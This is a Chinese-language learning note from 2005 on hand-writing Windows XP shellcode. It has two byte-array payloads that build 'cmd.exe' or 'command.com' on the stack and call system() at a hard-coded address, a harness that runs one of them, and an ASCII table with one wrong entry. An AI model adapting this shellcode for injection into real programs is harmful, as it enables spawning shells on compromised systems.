shellcode的初步编写

  1 //系统环境：xpsp2+Microsoft Visual Studio .NET 2003
  2 //这是我学习中写出来的。算是读书笔记一类的吧！
  3 //时间 2005－12－03
  4 //内容是关于shellcode的初步编写。此时我的系统函数地址是0xC7,0x93,0xBF,0x77。也就是77BF93C7
  5 作者：emissary
  6 
  7 
  8 //这两天。听说当兵的那些人走了，不知道龚哲她是否也走了。
  9 //再放一表上来。以后可能会用到。
 10 /*
 11 61h        a
 12 62h        b
 13 63h        c
 14 64h        d
 15 65        e
 16 66        f
 17 67        g
 18 68        h
 19 69        i
 20 6a        j
 21 6b        k
 22 6c        l
 23 6d        m
 24 6e        n
 25 6f        o
 26 70        p
 27 71        q
 28 72        r
 29 73        x
 30 74        t
 31 75        u
 32 76        v
 33 77        w
 34 78        x
 35 79        y
 36 7a        z
 37 */
 38 
 39 #include <stdio.h>
 40 #include <windows.h>
 41 #include <winbase.h>
 42 
 43 //这个是网上的一代码。和我写的不一样。环境不同。但两个都能用。
 44 char shellcode_command[] = {
 45 0x8B,0xE5, /*mov esp, ebp */
 46 0x55, /*push ebp */
 47 0x8B,0xEC, /*mov ebp, esp */
 48 0x83,0xEC,0x0C, /*sub esp, 0000000C */
 49 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 
 50 0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
 51 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 
 52 0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
 53 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 
 54 0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
 55 0x33,0xD2, /*xor edx, edx */
 56 0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
 57 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
 58 0x50, /*push eax */
 59 0xB8,0xC7,0x93,0xBF,0x77, /*mov eax, system地址改成了我本机的。 */ 
 60 0xFF,0xD0 /*call eax */
 61 };
 62 
 63 
 64 //这个是我自己搞出来的code
 65 char shellcode_cmd[] ={
 66 0x8B,0xE5,
 67 0x55,
 68 0x8B,0xEC,       
 69 0x33,0xFF,
 70 0x57,
 71 0x83,0xEC,0x08,
 72 0xC6,0x45,0xF8,0x63,
 73 0xC6,0x45,0xF9,0x6D,
 74 0xC6,0x45,0xFA,0x64,
 75 0xC6,0x45,0xFB,0x2E,
 76 0xC6,0x45,0xFC,0x65,
 77 0xC6,0x45,0xFD,0x78,
 78 0xC6,0x45,0xFE,0x65,
 79 0x8D,0x45,0xF8,
 80 0x50,
 81 0xB8,0xC7,0x93,0xBF,0x77,
 82 0xFF,0xD0
 83 };
 84 //typedef void (*MYPROC)(LPTSTR);  //定义函数指针
 85 
 86 int main()
 87 {
 88 //HINSTANCE LibHandle;
 89 //MYPROC ProcAdd;
 90 //LibHandle = LoadLibrary("msvcrt.dll");
 91 //ProcAdd = (MYPROC) GetProcAddress(LibHandle,"system"); //查找System函数地址
 92 //(ProcAdd) ("cmd.exe");  
 93 //return 0;
 94 LoadLibrary("msvcrt.dll");
 95 ((void(*)(void))&shellcode_cmd)();//两个都可以运行。一个是command，一个是cmd。
 96 return 0;
 97 
 98 //__asm
 99 //{
100 //mov esp,ebp ; 
101   // push ebp ; 
102    //mov ebp,esp ;    把当前esp赋给ebp 
103 //xor edi,edi ;
104   // push edi ;压入0，esp－4,; 作用是构造字符串的结尾字符。 
105    //sub esp,08h ;    这个我不知道是什么意思来着。
106    //mov byte ptr [ebp-08h],63h ;  c
107    //mov byte ptr [ebp-07h],6dh ;  m
108    //mov byte ptr [ebp-06h],64h ;  d
109    //mov byte ptr [ebp-05h],2Eh ;  .
110   // mov byte ptr [ebp-04h],65h ;  e
111   // mov byte ptr [ebp-03h],78h ;  x
112   // mov byte ptr [ebp-02h],65h ;  e一个一个生成串
113  //  lea eax,[ebp-08h] ;   
114 //   push eax ;    串地址作为参数入栈
115   // mov eax, 0x77BF93C7 ;
116 //   call eax ;     call System函数的地址
117 //}
118 }